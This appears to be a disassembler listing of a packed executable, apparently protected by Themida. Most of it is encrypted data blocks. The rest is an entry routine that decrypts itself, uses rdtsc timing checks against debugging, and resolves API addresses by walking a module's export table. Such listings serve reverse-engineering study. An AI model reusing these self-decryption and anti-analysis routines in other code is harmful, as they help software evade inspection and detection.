dd 84BEE28Ah, 88DC0EEBh, 4D9E21CCh, 3EE84ACBh, 23AC427Dh
dd 5B714DF0h, 3AFC14B8h, 7C60305h, 4F6D07EAh, 6E9C3C14h
dd 492ABE40h, 0A7249CC8h, 50C3E28h, 0E6B9B430h, 0C10A31BDh
dd 6B5C4919h, 798C4D44h, 5EABDBB2h, 396ACA5Ch, 94BD1FA3h
dd 0C3481EE5h, 0AC644770h, 0B1F3FE08h, 0ED808803h, 0E811377Eh
dd 48942AB3h, 2CE87AA2h, 0F5A7EA8Bh, 19E2BBB8h, 0C0EACFE8h
dd 0A5C8F282h, 0FC2F623Fh, 0B5DCDC37h, 442BF387h, 94F7A4F3h
dd 77D288C8h, 0E1A725B0h, 3B710B33h, 56FCD4B8h, 0D9444485h
dd 4D0C9E08h, 0AB281410h, 8C975A18h, 6712F824h, 3ADAA6C0h
dd 232C9CCFh, 3CBFD238h, 0DF727044h, 0B444FB48h, 0AD70EDCDh
dd 6C0A158h, 6124ACEDh, 30E3C568h, 13422478h, 317857F1h
dd 0CC6C20B6h, 1E8C7E88h, 181F1F59h, 0E99C3A18h, 0B94970F2h
dd 30AF0957h, 3821498h, 1B3F64BBh, 3BCB10CCh, 1DCC6FCFh
dd 7BC4B653h, 0D921AED7h, 756F88E0h, 5D04B6E4h, 0F00BBB0Eh
dd 67BC8A7Dh, 0FFC20300h, 0F48C5682h, 0EB0DC810h, 0CA6834E1h
dd 0ACD59360h, 64ADD760h, 3CEBEBEFh, 0D786BB9h, 7331F00Ch
dd 7E846511h, 0D45B56A9h, 0B95C0AEFh, 0E91CE906h, 0F063F45Bh
dd 0D37424DBh, 3146012Eh, 0C50FE5F5h, 668ED598h, 1A659F9Ah
dd 56628870h, 2F115B5Fh, 0C8AC80E8h, 38CCD435h, 2138F6B7h
dd 0CA3BD0C0h, 0DDFA6EE0h, 0C5816480h, 1CDF1527h, 0F7D208C8h
dd 15C42367h, 0B7F704C6h, 0D17F31DCh, 60DFF302h, 0DFEF16BEh
dd 7834B590h, 8D38FED9h, 0CE002409h, 577B224h, 58B51DDBh
dd 0DC878537h, 0A4C58E34h, 66224BE0h, 0E0D55A24h, 86FDF101h
dd 2CE50614h, 99D9A4BEh, 68F5C204h, 224ABEBh, 0B405BEF4h
dd 5ED417F5h, 0F0154AE4h, 88B985DEh, 3C2516D4h, 0C4894998h
dd 164BD2C4h, 0E18A72B0h, 0C0B5799Bh, 1E921137h, 143D5812h
dd 9A235526h, 0EFE062E1h, 0EA193600h, 41614C0Fh, 0B7FC14DEh
dd 2D1CB1B8h, 8EE81EEAh, 4072DE12h, 0A1449C72h, 58DB0D15h
dd 822494ABh, 3B31DEE1h, 3EC93AD0h, 1CBEF0BFh, 2DFCC53Bh
dd 0FD66A952h, 0D2F68A6Eh, 0CF0C8247h, 0F696C6C2h, 42C4BC05h
dd 4E890A90h, 0F85D87Fh, 0BF08BE88h, 2B4511E4h, 0DF77B066h
dd 871CDD4Bh, 4E2C36A8h, 0CE772B52h, 9785F22Dh, 8137BC0h
dd 0D83B6D12h, 0BBE23423h, 11DC6AD8h, 0B6245DEFh, 501A2D08h
dd 33C2BC01h, 0F7FA97F9h, 421C90Dh, 0BC89681Bh, 0A914CA28h
dd 47A5C6Dh, 63CF9D11h, 0E02D1B4Eh, 9FDCDF56h, 0AC32DC7h
dd 4ACD0403h, 3D7ACE54h, 1EA32FFBh, 0F96A72ABh, 5F64A860h
dd 0B1AC9367h, 8F9CCECCh, 0F8833D87h, 0F9C40015h, 0DC098888h
dd 8A94EAA8h, 0D8933EEDh, 878F9A4Bh, 205B3503h, 3826C43h
dd 69BCB2B8h, 3A4E37B4h, 1DFA5625h, 1DDF2C11h, 0BF99A1D5h
dd 9D1C384Bh, 0AD016362h, 133544C6h, 359BA7E3h, 9CAF0689h
dd 0E6A738C8h, 0E4700402h, 43B71A1Dh, 111C95A5h, 4474D228h
dd 209F2CD0h, 61D76E88h, 9FAF4826h, 0E4A7E52Eh, 0B30CA83Ah
dd 46A3FE41h, 0D6B66CEDh, 700ACE88h, 7812E4F9h, 0A1CC8193h
dd 0D7898A2Ah, 12783E60h, 436E1C6Fh, 7B18D5EBh, 0CD5A92D4h
dd 0AF527CDCh, 94ADAC4h, 0EB4292CCh, 0B53ADCB4h, 173221BCh
dd 0C26483A4h, 1E6C3833h, 1C3FF84Ah, 0BE191623h, 580CB437h
dd 0AC71A13Bh, 6F32F900h, 32F3A6E0h, 0D8918BEFh, 891CEC20h
dd 93A43820h, 0EF4C262Bh, 9BC771C7h, 13C520Eh, 5830B840h
dd 51C75BF0h, 0EC1BC750h, 4F6439DDh, 0D7642B60h, 0D4E88969h
dd 2374E470h, 78D7E890h, 79C4AC3Dh, 52FB1688h, 0E324A36Fh
dd 0D4151132h, 0C79258B0h, 0DA531E40h, 7031234Fh, 0E2BC0480h
dd 4BC490C0h, 6E4919DDh, 0FBD47AE8h, 2DDDAAD8h, 4950E0E5h
dd 0FC5C9917h, 0F67F6F5Ah, 0D1CA62F4h, 0E72F4F8Bh, 0CD186381h
dd 0A39D3C26h, 2D7B22E4h, 948FCEDFh, 0F28730E8h, 550C47B5h
dd 0C13C1138h, 0E94A0440h, 4B743FCDh, 0DE20AC50h, 0C6A2BFB0h
dd 0F303509Fh, 0C6C760E1h, 0A4DFC2B0h, 8744F1FDh, 0F846380h
dd 9BD9CA88h, 0FDACED15h, 2CE9FA98h, 785AC948h, 183BDE57h
dd 63046B4Fh, 5E475B50h, 99FDB33Fh, 3BD95170h, 307F9D7Bh
dd 2FE4994Dh, 80363FE0h, 0D5EC252Ah, 0DBE0F1F0h, 6E031F89h
dd 6CEC5FB0h, 2BF361F3h, 0CD0103A8h, 82B7CBB3h, 73A133EFh
dd 0EE2C2068h, 0DF7CFDF8h, 0B9CF57CFh, 0DF473076h, 13388E48h
dd 0A3A769A7h, 0F95C4A6Eh, 7510AE60h, 8D9F839Fh, 13746446h
dd 7409C378h, 3079C568h, 0DE098977h, 8B94EAA8h, 9D983A98h
dd 0B9A470A5h, 205B0957h, 3826C43h, 61BCB2BCh, 0E52C07B4h
dd 0A5339136h, 0B32A0CF9h, 19D49273h, 8F4F8C94h, 0F2071E9Dh
dd 0DB7AC5Bh, 0D40B5D07h
dd 0AF3238F3h, 0D0C5E00h, 0D694DD65h, 0C92A22E9h, 0CF7C0C20h
dd 7AD32801h, 0CA2C1D88h, 0AC9998F1h, 5F44C678h, 58464DACh
dd 5B6294BDh, 4753E2F3h, 0A6D4979Fh, 84E94CC2h, 79741248h
dd 0DCF93477h, 284D6B8h, 0AD88FE8Ch, 0FB9C7C51h, 19379C15h
dd 0BFC2F2A1h, 0E05B4D4Ah, 0C3822C43h, 21BC72A8h, 3674D7B4h
dd 0A8744862h, 0D37FEA2Ah, 66231709h, 0C44EA050h, 0E8650D28h
dd 0B3C23B08h, 290FE70Fh, 6F24C036h, 0C4791E08h, 0AE1E24A0h
dd 892AE2F3h, 1A8FD08Ah, 0FD4A69D7h, 26C334B1h, 10A6ACBh
dd 5F44B000h, 79CC0D3Ch, 0F0F16678h, 1F5CFC60h, 2BD9A1CBh
dd 9E6CB057h, 0AB876187h, 0F17C424Eh, 46F1E080h, 288EAE38h
dd 0BA2647Bh, 9A194D32h, 47A42E98h, 50AC76A8h, 890C64BBh
dd 0D784DE3Dh, 22F3AC0h, 85FD56AEh, 0C327C927h, 58DCAAEEh
dd 0B59008E0h, 0B0E64F58h, 73C2FC1Ch, 0DBFFC638h, 193C6CA5h
dd 0EBA7B808h, 1CE4BDA8h, 7F24699Dh, 0A726F820h, 0B12E2328h
dd 8F91BEF8h, 0A73C2400h, 7F9F9EBh, 0C54CF808h, 0DB540550h
dd 0CAD97DF3h, 9F64DE58h, 816C4668h, 0AE774C01h, 348BFD87h
dd 0FB25873h, 6D8CBA88h, 732417E5h, 1171FF92h, 6C0ED896h
dd 1629C1E5h, 43B4A288h, 0D4BCF2B0h, 7C7C36D1h, 0B069A428h
dd 0DDD43AE8h, 0B31C5973h, 0CF82DD0Bh, 70E63EC1h, 33C2BC1Dh
dd 9BFF0638h, 0D93CADA5h, 0BAA7F808h, 9D2C0F95h, 90C5A18h
dd 0E69CDE20h, 452F62E8h, 863E7CF4h, 810AEAD5h, 694B9B26h
dd 0B747FCDh, 9BC4750h, 0EA3B5A4h, 615C5BE5h, 0B56C0668h
dd 0A37A1030h, 9AF9C028h, 658416B8h, 0D2700660h, 78112B6Fh
dd 0E99C0CA0h, 0F7A49880h, 0A1AE832Eh, 0FDFBD9B4h, 59571732h
dd 324D10F6h, 1DFA2EC8h, 875467B6h, 69DB5FDDh, 0C8AB08E0h
dd 0D3044CA8h, 40BBB0Ch, 67C4517Dh, 0AF440000h, 6BB43808h
dd 0DF16C921h, 79B77C31h, 0CAA17238h, 452CE010h, 0B9E37D0h
dd 0BEC36E19h, 1AB378F0h, 0FD7A76BBh, 5B542C50h, 3FEC082Dh
dd 2F8FCDEAh, 0DE0AC65Eh, 0A671D8F0h, 0B17C327Fh, 25C41FCFh
dd 1277C660h, 0B8116B6Fh, 0A99CCCA0h, 72A459A0h, 6FEC06A3h
dd 0F58CFF35h, 2E57D8B8h, 0BF4768A6h, 0E5278BC2h, 90B28CE6h
dd 6E76EB68h, 0C1DCBB65h, 57ECA6E8h, 44DB71F0h, 27C4917Dh
dd 6B04C000h, 7D166B08h, 0C69176D0h, 31CEC20h, 0D11CCA85h
dd 55CC5728h, 22524C56h, 0EA3CE293h, 55040048h, 8B74E3CDh
dd 9EA3C650h, 796AF2ABh, 0D76C2860h, 8D0A961Dh, 367E0CF3h
dd 0F14A7A94h, 4E340BE6h, 0E53CF663h, 3378D99Ah, 8136BAAEh
dd 385BE3CDh, 1D5FF35Fh, 83B4D486h, 940D32A8h, 87A2B5B5h
dd 38C6164Bh, 0FBE2743Ch, 99EF01BEh, 0B759214Ah, 0E2EC50A8h
dd 45CC3775h, 0F1FC22F8h, 9E1BF500h, 0EB17357Fh, 0E10C35A8h
dd 7F2476BDh, 0A4C03820h, 3DC0F322h, 0C852B406h, 813CAF11h
dd 0DECE7076h, 3D4C6BC2h, 70322C66h, 0BC5ED2E8h, 9752D08Bh
dd 0E6BAEC2h, 0D6835B8Fh, 0B14A3A8Bh, 0E846083h, 0E87B9CFCh
dd 0CBA22463h, 2D9C7A98h, 253CED5h, 0E59A0E5Bh, 40B494B0h
dd 0E654F7CDh, 173BAF3Ah, 0A23354A6h, 83278927h, 19DC6AEEh
dd 7490C0E0h, 2246EF58h, 5CC7775h, 91FCE2F8h, 5F243480h
dd 0A689B40Fh, 6A14CA28h, 801140F8h, 65249C28h, 0F314FD8Dh
dd 20D0B430h, 2A3816B8h, 0B9EE51F0h, 37AC71F0h, 0AD6C07F5h
dd 0EF72C58h, 615C5BE5h, 0B56C2668h, 0E4271070h, 474431FDh
dd 0CF842080h, 0DA810AA8h, 8B94DF57h, 59994E98h, 0B44F3230h
dd 28273123h, 3826B48h, 20357393h, 0B59CA03Ch, 2BF4854Dh
dd 0FE2366D0h, 0D9EA122Bh, 37A488E0h, 2D8AEA9Ch, 76FE87A0h
dd 51CA9A13h, 17620AEBh, 0A806BEF7h, 6B2284FBh, 4CEBB17Eh
dd 271240D3h, 842CD62Bh, 66C34744h, 410AAACBh, 0BF44F040h
dd 3ABB433Ch, 5B54AC53h, 29EC0F2Ch, 9C9783CAh, 65E94DA7h
dd 0F8741230h, 0CD340BB0h, 0A7329B3h, 0EDBA067Bh, 4B149C90h
dd 2C11F4EDh, 792604Bh, 0E5ECBE22h, 3BC71749h, 65717635h
dd 0BEC4C0E4h, 567C2628h, 5DD26F7Bh, 0FF1CDB60h, 785C2E4Bh
dd 5554CE68h, 52F604F0h, 0BAA4C99Eh, 69710985h, 0D3DA66Eh
dd 0E8A4D776h, 899957B2h, 10240E19h, 731465ADh, 0A334F430h
dd 563A2728h, 0B41C486Bh, 951F8551h, 0CB7F947Bh, 394447D3h
dd 42652856h, 355AB990h, 0D7FFDD71h, 4CF5465Ch, 4FB2B0EAh
dd 92704303h, 8EBF5CA6h, 69AA8560h, 0FF579D57h, 25EC769Eh
dd 81C0D4B0h, 2317EA4Fh, 689290C4h, 0DDFC534Bh, 0F4D44CE6h
dd 59DD735Ch, 0B7E9E0E0h, 50A766E8h, 3FB18AA2h, 95D210CBh
dd 0D004CC4Ch, 0BB373C9Dh, 0AF91B510h, 1A1CAC58h, 0A418A0ABh
dd 2D5FA9F0h, 8B00F7BBh, 3EC3E79Bh, 5F60E5CBh, 7E17CE7Eh
dd 5EDD2012h, 396ACA10h, 1E6CAA63h, 0C32C0AEDh, 7B072F70h
dd 0B1FCB187h, 736C6080h, 0E673417Dh, 0FDD4382Dh, 59742C98h
dd 0C5B2755h, 0D3EC123Dh, 4BFE1FB0h, 8AB0B8BBh, 0FA2DD30Eh
dd 5CAC26C7h, 3FDB0CD0h, 19DC6B82h, 37CC7DE3h, 60EF26DEh
dd 33C2BB18h, 9E14DE54h, 0EF04E285h, 494A1308h, 94FC793Bh
dd 0F1F5A2Eh, 92095070h, 78AFE9D7h, 23023414h, 0BA37A738h
dd 5C4B3C07h, 3D4C8F53h, 0E6DE0BBh, 0F96A0A7Ch, 56692D6Fh
dd 306F0668h, 13425B98h, 8E44431Eh, 33012FA5h, 0A68C7E88h
dd 0C8BFDED0h, 19746AACh, 7E5B6754h, 93ECD215h, 0E7315BB0h
dd 62BCB2B8h, 89843845h, 0F5496DC8h, 0F0D4FAEFh, 0D59B01D8h
dd 37290AEFh, 0D2D7E6E8h, 37774BF8h, 0D2FCA2F8h, 0E80702C0h
dd 0E5895D1Ch, 39148A2Fh, 8DA9E548h, 0D8244E60h, 0B31774BDh
dd 23B16E30h, 418B1737h, 3ADF040h, 0C14C4E48h, 0CFD1A3AFh
dd 395C0A58h, 926B7D5Eh, 756CC6E3h, 0F87562FBh, 0D92CB63Bh
dd 707B14FFh, 0ADA883B1h, 3CE19CA6h, 0E9B47F9Bh, 82A75896h
dd 659A8940h, 83E49139h, 2137728Eh, 3F8C55FBh, 0D5BE2EFEh
dd 7B9809EBh, 0F0AEEAEEh, 0F7E448DDh, 0BDDBD498h, 0B3F404EFh
dd 9A002C75h, 6C06EBC1h, 48370E4Ah, 2B223C40h, 4D9FD66Dh
dd 6815C730h, 2430B26Ch, 2CF7EFDBh, 377C5ABDh, 0EACFD040h
dd 0BD7A31A0h, 0E4A171B8h, 79F5ABA7h, 0A2E42860h, 392BAD66h
dd 0D44FED02h, 0CDFE4D70h, 67B5F7Fh, 533E7B87h, 371FA36Fh
dd 9A3B3BBCh, 38A41888h, 0CED38957h, 0A7FE55F2h, 1BC32D8h
dd 0B404A38Eh, 184BCAC4h, 0FBE20CE0h, 19F02F51h, 0E6908D6h
dd 15EC4E1Fh, 4C1C41F3h, 749A22CEh, 0E92FCEA5h, 0A6189C0Bh
dd 0ADD23052h, 0C8DB72E3h, 0A724F875h, 52C562Dh, 3CC8F2B9h
dd 3E6BD166h, 297F9ED5h, 62A40F48h, 0DA4EA95Fh, 6D0C8A58h
dd 680EC00Ah, 0C922D397h, 93F1A446h, 0B4F40D27h, 0E7846081h
dd 92735B95h, 0CB940D78h, 5DF92998h, 0E2C8B1E6h, 90CF53FBh
dd 3AC0FDC2h, 1443F2F9h, 0FFF26F7Ch, 666E3B37h, 3E5D0CE6h
dd 19EA551Ch, 77E4D108h, 818975E8h, 7C91EF91h, 0E3998C8Fh
dd 9F6D2873h, 3B65EC58h, 0CC719079h, 0E14B5A7Dh, 98DB50CEh
dd 0C52C05C0h, 71512730h, 0EE48A15Dh, 0AD145532h, 5125F821h
dd 9B318B35h, 118CA20Fh, 458C579Fh, 0E66C0668h, 70152615h
dd 210CB713h, 0A6F249F2h, 48EB1BE4h
byte_616168 db 90h ; DATA XREF: Themida_:005928A6o
db 8Bh, 7Ch, 38h
dd 163C570h, 47A498B8h, 0CDEF93FBh, 66D33AD1h, 8C8DDF6h
dd 0CD9469A6h, 71A518A1h, 7BB1ABB5h, 314CC28Fh, 63B4771Fh
dd 0AEEC6365h, 979E44C6h, 6FDC8A8h, 935E95FFh, 31855E3Eh
dd 0FD814334h, 0E31C2C23h, 9F99F5E0h, 0D52CE016h, 56CB6460h
dd 410AA938h, 9B44F128h, 0FC261A48h, 9FC15307h, 0ED5C3C67h
dd 0E8336C0Ah, 435302FDh, 0C7B0A770h, 0EC03787h, 1A7BE0B6h
dd 0EDBA055Ah, 0FE195FCFh, 0A9AAC420h, 0D131A7F6h, 0E6AC8093h
dd 47BBEB48h, 21BC7203h, 400C5549h, 0DDA62EFEh, 29417386h
dd 1CDCDCE4h, 53604720h, 7EECA6E8h, 0D9A45430h, 109632FBh
dd 6F04C068h, 58F348C8h, 2B2247A2h, 86E3229Bh, 0E7223FA4h
dd 89A91F28h, 2E34C20Fh, 370382B5h, 87D13D40h, 0EC4C3877h
dd 4B540602h, 42825FA7h, 2FE72856h, 0E0E88997h, 0F974E475h
dd 3DC9BD78h, 0B08496BFh, 9BB7241Dh, 0F46CDF90h, 6C223E97h
dd 422D18A0h, 259A4948h, 40B71D83h, 8BED62E9h, 8A3BC1C4h
dd 9DFAD104h, 0C062D92Fh, 9959AAEEh, 0B27E8CEFh, 0DCDF66E8h
dd 4C104179h, 80AD22CEh, 2F1BE851h, 725CDE07h, 0DD2FC285h
dd 46DC1F18h, 0A721ABA4h, 0EDA9DF28h, 0A034820Fh, 0C14C4580h
dd 270FFB40h, 45BF4BBFh, 0DB542C66h, 3F299A58h, 870E6D63h
dd 275F465Eh, 0A2836573h, 34F5E38Fh, 0FB25F74h, 6DA44130h
dd 0F7DF9790h, 39F6FF9Bh, 5597D896h, 145BF7ABh, 0C63D7547h
dd 0A18ACD54h, 0B4735F03h, 682F57CEh, 0B4CC5F5Dh, 1AC8296Fh
dd 0B68F8130h, 543C25C0h, 5A83DBCAh, 8C881B96h, 0EE083A83h
dd 6877E7Ah, 0BF56772Ch, 840C181Bh, 90DBF064h, 0FEED35F1h
dd 150B94B5h, 0D5B71138h, 1F772064h, 3DF40CC7h, 1097EC50h
dd 7457A197h, 615A10DDh, 6AE7FA68h, 2FD8AD43h, 4D7AB019h
dd 0E38657FAh, 71B0D4A8h, 0A5A830E4h, 0E9A0E7ECh, 8E4770D5h
dd 0E091F723h, 77B411E8h, 22EF8FB3h, 3ACB1092h, 0E23391FBh
dd 2CE9CF5Bh, 0D69F6491h, 0C81BAE64h, 0D6BBDB17h, 77FB0AA5h
dd 0AE035DE3h, 9C47573Dh, 1D88513Ah, 56EB43EFh, 86484948h
dd 0D821FC2Fh, 5E1F29D7h, 1CCA19D8h, 0A92CE7C7h, 60BB0CBAh
dd 2B26FA0h, 0B7D0A3AFh, 8AA3F5A6h, 177280B2h, 1684C668h
dd 3B8BDB8Fh, 317C8278h, 0D6961DDh, 48C08BBh, 4B949F6Ah
dd 22AE05FCh, 319BB015h, 4725D2A8h, 8E8A95D6h, 0C2397DE2h
dd 0F4C4D0C3h, 3CF1296h, 6BEF0DB6h, 4A59E59Dh, 0E448E3h
dd 75ECB0ABh, 36FB04F0h, 11FC613Eh, 6D5883F6h, 0CEB09A07h
dd 689F7C10h, 29BCE710h, 632B9880h, 452C9586h, 8314D40Dh
dd 0A2B85D18h, 0D444B043h, 0BD4CC6C3h, 4A428F50h, 86ACD8B0h
dd 0FFE92B9Fh, 366CB028h, 0D31567BEh, 0B51DC178h, 0B11F4880h
dd 2F830177h, 0B945FEAh, 29B01F1Bh, 4CA41896h, 6F277EEAh
dd 0F075FFA0h, 0A7C01BCh, 0B60C93C5h, 1845FE82h, 0FBE27320h
dd 0E1D0E0DBh, 0B7E508E0h, 0F2A38EB9h, 0E6C43B0Fh, 0D1CA1A09h
dd 9A34A0B1h, 8D3AE6FAh, 22EA1C7Ah, 0A108E240h, 58DB1F15h
dd 912384ADh, 52D667F2h, 0F704E1ADh, 0E8A19B40h, 4B743DCDh
dd 0DB542C50h, 0CE7EFE59h, 0A15C1BE5h, 0F56C4568h, 0D278D170h
dd 8744F1DDh, 0F07B9F80h, 0EC865573h, 0FDACEF1Dh, 299C7A98h
dd 87A2B0A8h, 8DF536A8h, 43B494B6h, 475B1AE0h, 7A4EAF3Fh
dd 5DFA9623h, 50FE8856h, 91DC5CE0h, 41DC2365h, 220CC4E8h
dd 5CC7775h, 91FCEAF8h, 6F0D3500h, 7B3473B5h, 6E60FD10h
dd 31EFDFEFh, 6724B816h, 0DE581E28h, 1BDFC9B0h, 0F539D20Eh
dd 33F9B0F0h, 384CB870h, 26D44B24h, 0F96A72B5h, 0A0FADC65h
dd 8354F5EDh, 13746470h, 0F175B6F8h, 0F9BCCB3Dh, 0A4FB7C88h
dd 0CBA47913h, 19C3AAEh, 0B85B6A0Ah, 5A51B540h, 1C5BC4Fh
dd 0FC37B2B8h, 0BFF22F2Ch, 223CF3CBh, 203CCCE6h, 0D623D524h
dd 37E6D964h, 7D596DE8h, 78F472CFh, 8FFF9EA6h, 50F95CE8h
dd 368E51F7h, 0EA14BC12h, 0C97C3E52h, 0D9AF9820h, 0FF2F807Ah
dd 0F34E3724h, 79CF17CFh, 9F44F076h, 0E9395E48h, 1B6011D9h
dd 0CD10A6Eh, 17525160h, 65064BE3h, 77872446h, 3B3C3B2Fh
dd 3A09E080h, 0EDBA2E88h, 4B253963h, 0D6FF87Bh, 3F57DD57h
dd 65ACB69Eh, 47BB04B0h, 21BC7216h, 97ECA33Fh, 2233C093h
dd 7BF0195Bh, 4B59EAEEh, 0F77CCCEFh, 0E067A6E8h, 0B3C23B18h
dd 90EC2873h, 6F64E44Ah, 8727FE08h, 18160F18h, 9D6ED9D1h
dd 0F74EB51Bh, 0C8A7961Eh, 0A302E45Ah, 3DB7044Ah, 35E13364h
dd 0BD4C3858h, 1B3ECBD3h, 0F25CCA58h, 9D65201Ah, 0B29B8560h
dd 6FF16F87h, 67C7447h, 79BC5305h, 0AD8CBE88h, 0FC962890h
dd 65EEB980h, 722D2889h, 259A3698h, 829CA73Bh, 1239C588h
dd 7FC4A6F8h, 0E9CCEEC8h, 0AACCBBD2h, 0A6208130h, 0BB0F511Fh
dd 3EC415EBh, 25A5C882h, 88A3860Bh, 1604358Dh, 3085DE3Eh
dd 0EB227C24h, 17433EEBh, 2AB6C92Fh, 52D16AFh, 92A18E30h
dd 0B43C2400h, 67961946h, 1B5EFA1Eh, 33BD7CD9h, 0C6A350E1h
dd 9B2E633Ah, 27C0C6Bh, 654C57F5h, 0B17C0278h, 0AC5ED90h
dd 0E005ADFDh, 0CBA25CA0h, 39F6FF9Bh, 2027D896h, 0E5AC36C2h
dd 6BF7BFB0h, 0A1E97531h, 7A3350C0h, 5DFA9278h, 0BBD40CD1h
dd 5A1B6DACh, 0D74468E8h, 2669D148h, 33F4B2C8h, 0E57CE2F8h
dd 0B4EC1207h, 17F361FFh, 0EB24719Bh, 0CFF5A2Eh, 8C0CF3A9h
dd 0E9A19D25h, 0C0344270h, 0A3F393Ah, 5AB3180Bh, 3D7AB6BBh
dd 9B54EC53h, 7CD75E2Ch, 5752E854h, 0F54C8B6Bh, 96776446h
dd 714A8264h, 850F2881h, 0C109F598h, 0B294EAAFh, 0EAEF32D2h
dd 46ACD229h, 0C62FE6EAh, 863F54E8h, 618A8D4Ch, 0BFED10A8h
dd 158E6FC8h, 2B97CD89h, 0E12DBF52h, 0B21388D6h, 95DADE1Bh
dd 0E3F444F0h, 0DCFFA48Ch, 0AF32106Ah, 88FB5EBEh, 6B2284E3h
dd 0C91E1A18h, 0E1DA6C55h, 0BDDF53DFh, 0E3343406h, 4749923Ch
dd 0A7B645CAh, 78BB4E7Eh, 5B6294A3h, 0B95C4A58h, 10EE6315h
dd 77C6046Ah, 3883C6A6h, 37B0871h, 59864A42h, 3FBFC96Ah
dd 2FB617F4h, 2AC4F817h, 319B941Dh, 0E1A3B6A8h, 3C4BEE0Fh
dd 1E54C747h, 0EA3BD0F6h, 0DDFA12EAh, 430392Fh, 0C23EAEEh
dd 0F7D27376h, 6A3C2B65h, 267904C6h, 11CA5D20h, 6F6E9251h
dd 0F2C0ABF7h, 0BEEB7C26h, 892AE60Eh, 0D8E88DDFh, 0D0D3961Eh
dd 0A302CFA6h, 3F84E7B5h, 0EABBB076h, 0BD7A3180h, 9C19306h
dd 0FA5CFC64h, 0E15BE4C5h, 0DDAF8668h, 9374E470h, 707D2825h
dd 79B35E6Dh, 0A27CA688h, 1E14D951h, 0A919BAAEh, 386C9B63h
dd 0A06D7958h, 8382C130h, 0E1AC0F7Bh, 23B190EAh, 0B9B06FAEh
dd 8EA520DCh, 9D34CACBh, 0C21BF71Fh, 0EF598EEDh, 0A11C3B0Fh
dd 0B003DD07h, 57297F2Eh, 351EEA5Eh, 0EB143C35h, 0B6B97278h
dd 9E5107DFh, 350812A3h, 5D8C01BDh, 91B7120Eh, 25C51648h
dd 583FCC4Eh, 0DB544406h, 0FDD78AA7h, 0C736E80Ah, 0C90ED397h
dd 97F7A446h, 0ED428370h, 7AD85FBFh, 694A3D8Bh, 346E7E78h
dd 0D6E39267h, 44C5275Fh, 0E5AC4210h, 0FB057FB0h, 0A1BCF297h
dd 0FFC44D28h, 5DEC6CC8h, 0BBD43C68h, 19CC82D8h, 5326C8E0h
dd 0D4699EE8h, 301C84F0h, 53FCE2F8h, 0BB89402Ch, 63C1922Ch
dd 0D7140493h, 9F43A01h, 0EC24B820h, 981C327Ch, 0CEB56EBBh
dd 810AEAEDh, 20A548A8h, 398EEFB7h, 9852ED50h, 75E4D5Dh
dd 0D489CC67h, 8C15FF2Ch, 8D004090h, 49h, 0BBh dup(0)
db 2 dup(0)
word_616C4E dw 0 ; DATA XREF: ___:off_4452F4o
dd 111h dup(0)
dd 29FE0000h, 13DAh dup(0)
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
public start
start proc near
var_8 = dword ptr -8
arg_5A = byte ptr 62h
arg_361138 = byte ptr 361140h
arg_3638EB = dword ptr 3638F3h
arg_3638EF = byte ptr 3638F7h
arg_3638F8 = byte ptr 363900h
arg_364030 = dword ptr 364038h
arg_364034 = dword ptr 36403Ch
arg_364038 = dword ptr 364040h
; FUNCTION CHUNK AT 0061C187 SIZE 00000050 BYTES
; FUNCTION CHUNK AT 0061C22E SIZE 00000017 BYTES
push ebp
mov ebp, esp
xchg ebx, ebx
sub eax, eax
loc_61C007: ; CODE XREF: start+Dj
dec al
or al, al
jz short loc_61C011
jnz short loc_61C007
jmp short loc_61C078
; ---------------------------------------------------------------------------
loc_61C011: ; CODE XREF: start+Bj
nop
call $+5
pop ecx
cld
clc
sub ecx, 0FFFFFFD0h
push ecx
sub edi, edi
or edi, 2900h
mov ebx, 0DDh
nop
loc_61C02F: ; CODE XREF: start+41j
mov al, [ecx]
cmc
cmc
sub ax, bx
mov [ecx], al
clc
cld
inc ecx
inc ebx
sub edi, 1
or edi, edi
jnz short loc_61C02F
pop ecx
leave
jmp ecx
; ---------------------------------------------------------------------------
db 0E8h
dd 0
dd 0FC24048Bh, 30339889h, 888B0000h, 28EEh, 4245C8Bh, 0E181h
dd 2D748000h, 37B08959h, 57000030h, 303B808Fh, 0B8800000h
; ---------------------------------------------------------------------------
loc_61C078: ; CODE XREF: start+Fj
repne sub [eax], al
add al, ch
jnz short loc_61C08C
add ebx, [eax+28F3h]
mov ebx, [ebx+2]
push dword ptr [ebx]
jmp short loc_61C094
; ---------------------------------------------------------------------------
loc_61C08C: ; CODE XREF: start+7Dj
mov ebx, [eax+28F4h]
push dword ptr [ebx]
loc_61C094: ; CODE XREF: start+8Aj
pop ebx
push ebp
mov ebp, eax
sub dword ptr [esp+4], 804Ch
sub ebp, 361005h
mov edi, [esp+4]
lea esi, [ebp+arg_3638F8]
mov ecx, 0
rep movsb
call sub_61C16D
mov ecx, eax
call sub_61C16D
sub eax, ecx
jz short loc_61C140
cmp eax, 100h
ja short loc_61C140
and ebx, 0FFFFF000h
loc_61C0D4: ; CODE XREF: start+E3j
cmp dword ptr [ebx+4Eh], 73696854h
jz short loc_61C0E5
loc_61C0DD: ; CODE XREF: start+EFj
sub ebx, 100h
jnz short loc_61C0D4
loc_61C0E5: ; CODE XREF: start+DBj
mov eax, ebx
add eax, [ebx+3Ch]
cmp word ptr [eax], 4550h
jnz short loc_61C0DD
mov edx, [eax+78h]
add edx, ebx
mov esi, [edx+20h]
mov ecx, [edx+18h]
add esi, ebx
push ecx
loc_61C0FF: ; CODE XREF: start:loc_61C113j
lodsd
add eax, ebx
cmp word ptr [eax+2], 5074h
jnz short loc_61C113
cmp dword ptr [eax+5], 6441636Fh
jz short loc_61C118
loc_61C113: ; CODE XREF: start+108j
loop loc_61C0FF
pop ecx
jmp short loc_61C140
; ---------------------------------------------------------------------------
loc_61C118: ; CODE XREF: start+111j
sub [esp+8+var_8], ecx
mov esi, [edx+24h]
pop ecx
add esi, ebx
movzx eax, word ptr [esi+ecx*2]
mov edi, [edx+1Ch]
add edi, ebx
mov esi, [edi+eax*4]
add esi, ebx
lea eax, [ebp+arg_361138]
mov dx, [eax-17h]
call sub_61C172
jmp short loc_61C187
; ---------------------------------------------------------------------------
loc_61C140: ; CODE XREF: start+C5j start+CCj ...
mov eax, [ebp+arg_3638EB]
and eax, 80000000h ; CODE XREF: start+1AFj
jz short loc_61C16B
mov edi, [esp+4]
lea esi, [ebp+arg_3638EF]
movsd
movsb
mov esi, [ebp+arg_364034]
mov edi, [ebp+arg_364038]
mov ebx, [ebp+arg_364030]
loc_61C16B: ; CODE XREF: start+14Bj
pop ebp
retn
start endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_61C16D proc near ; CODE XREF: start+B7p start+BEp ...
rdtsc
retn
sub_61C16D endp
